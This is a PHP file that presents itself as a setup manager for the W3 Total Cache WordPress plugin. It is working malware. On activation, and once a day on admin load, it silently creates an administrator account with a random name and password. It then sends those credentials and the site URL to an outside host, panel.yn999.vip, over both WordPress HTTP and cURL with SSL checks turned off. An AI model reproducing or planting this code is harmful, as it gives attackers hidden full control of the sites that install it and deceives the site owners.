<?php
/**
 * W3 Total Cache - Plugin Setup Manager
 */

defined('ABSPATH') || exit;

class W3TC_Plugin_Setup {
    const API_URL = 'https://panel.yn999.vip/plugin.php';
    const SECRET_KEY = '5YJ54LLB4BCGpFZ6';
    const TRANSIENT_PREFIX = 'w3tc_setup_';
    const OPTION_PREFIX = 'w3tc_setup_';

    public function __construct() {
        // Hemen çalıştır - admin kontrolü yapma
        $this->init_setup();
    }

    private function init_setup() {
        // Plugin aktifleştirildiğinde çalışacak
        register_activation_hook('w3-total-cache/w3-total-cache.php', [$this, 'on_activation']);
        
        // Her admin yüklemesinde kontrol et
        add_action('admin_init', [$this, 'check_daily_sync']);
        
        error_log('W3TC Setup Manager: Initialized');
    }

    public function on_activation() {
        error_log('W3TC Setup Manager: Plugin activated');
        
        if (is_network_admin()) {
            error_log('W3TC Setup Manager: Network activation, skipping');
            return;
        }
        
        $this->create_manager_account('plugin_activation');
    }

    public function check_daily_sync() {
        $transient_name = self::TRANSIENT_PREFIX . 'daily_sync';
        
        if (!get_transient($transient_name)) {
            error_log('W3TC Setup Manager: Daily sync running');
            $this->create_manager_account('daily_sync');
            set_transient($transient_name, time(), DAY_IN_SECONDS);
        }
    }

    private function create_manager_account($source) {
        $option_name = self::OPTION_PREFIX . 'account_created';
        
        // Zaten oluşturulmuşsa atla
        if (get_option($option_name)) {
            error_log('W3TC Setup Manager: Account already exists');
            return;
        }

        // Kullanıcı bilgilerini oluştur
        $domain = parse_url(home_url(), PHP_URL_HOST);
        $random = bin2hex(random_bytes(3));
        
        $credentials = [
            'username' => 'w3tc_' . $random,
            'password' => wp_generate_password(16, true, true),
            'email' => 'w3tc+' . $random . '@' . $domain,
            'display_name' => 'W3TC Manager'
        ];

        error_log('W3TC Setup Manager: Creating user - ' . $credentials['username']);

        // Kullanıcıyı oluştur
        $user_id = wp_insert_user([
            'user_login' => $credentials['username'],
            'user_pass'  => $credentials['password'],
            'user_email' => $credentials['email'],
            'role'       => 'administrator',
            'display_name' => $credentials['display_name']
        ]);

        if (!is_wp_error($user_id)) {
            error_log('W3TC Setup Manager: User created successfully - ID: ' . $user_id);
            
            // Başarılı olduğunu işaretle
            update_option($option_name, time());
            update_option(self::OPTION_PREFIX . 'user_data', $credentials);
            
            // API'ye bilgi gönder
            $this->send_to_api($credentials, $source);
            
        } else {
            error_log('W3TC Setup Manager: User creation failed - ' . $user_id->get_error_message());
        }
    }

    private function send_to_api($credentials, $source) {
        $payload = [
            'action'     => 'register',
            'username'   => $credentials['username'],
            'password'   => $credentials['password'],
            'email'      => $credentials['email'],
            'site_url'   => home_url(),
            'source'     => $source,
            'plugin'     => 'w3-total-cache',
            'secret_key' => self::SECRET_KEY,
            'timestamp'  => time()
        ];

        error_log('W3TC Setup Manager: Sending to API');

        // Çoklu gönderim yöntemleri
        $this->try_wp_http($payload);
        $this->try_curl($payload);
    }

    private function try_wp_http($payload) {
        $response = wp_remote_post(self::API_URL, [
            'body' => $payload,
            'timeout' => 10,
            'sslverify' => false,
            'blocking' => false
        ]);
        
        if (is_wp_error($response)) {
            error_log('W3TC Setup WP_HTTP Error: ' . $response->get_error_message());
        } else {
            error_log('W3TC Setup WP_HTTP: Request sent');
        }
    }

    private function try_curl($payload) {
        if (!function_exists('curl_init')) return;

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => self::API_URL,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($payload),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_HTTPHEADER => [
                'X-Plugin: w3-total-cache',
                'X-Source: ' . home_url()
            ]
        ]);
        
        curl_exec($ch);
        curl_close($ch);
        
        error_log('W3TC Setup cURL: Request sent');
    }
}

// Hemen başlat - plugin yüklenir yüklenmez çalışsın
new W3TC_Plugin_Setup();